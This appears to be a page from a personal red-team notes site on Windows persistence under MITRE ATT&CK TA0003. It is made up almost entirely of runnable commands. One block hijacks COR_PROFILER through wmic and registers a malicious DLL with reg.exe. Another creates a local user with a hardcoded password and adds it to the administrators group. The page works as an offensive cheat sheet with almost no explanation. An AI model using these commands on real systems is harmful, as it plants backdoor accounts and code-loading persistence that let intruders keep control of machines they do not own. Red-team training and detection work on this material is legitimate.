> For the complete documentation index, see [llms.txt](https://burmat.gitbook.io/security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burmat.gitbook.io/security/hacking/domain-exploitation/persistence.md). Agents can also search and read this documentation through its [MCP server](https://burmat.gitbook.io/security/~gitbook/mcp).

# Persistence (TA0003)

The adversary is trying to maintain their foothold. https\://attack.mitre.org/tactics/TA0003/

## COR Profiler Variable Hijack - T1574.012

Source: <https://www.picussecurity.com/resource/blog/t1047-windows-management-instrumentation-of-the-mitre-attack-framework>

{% code overflow="wrap" %}

```powershell
# deleting existing COR_PROFILER variable
wmic ENVIRONMENT where "name='COR_PROFILER'" delete

# creating COR_ENABLE_PROFILING variable and setting it to 1
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="<system>",VariableValue="1"

# creating a new COR_PROFILER variable
wmic ENVIRONMENT create name="COR_PROFILER",username="<system>",VariableValue="<arbitrary CLSID>"

# adding registry keys for malicious DLL
reg.exe add HKLM\Software\Classes\CLSID\<arbitrary CLSID>\InProcServer32 /V ThreadingModel /T REG_SZ /D Apartment /F
reg.exe add HKLM\Software\Classes\CLSID\<arbitrary CLSID>\InProcServer32 /VE /T REG_SZ /D "<malicious_DLL>" /F
```

{% endcode %}

## Local Administrator Account Creation - T1136.001

{% code overflow="wrap" %}

```powershell
net user burmat BURMAT123123123 /add
net localgroup administrators burmat /add 
net localgroup administrators
```

{% endcode %}
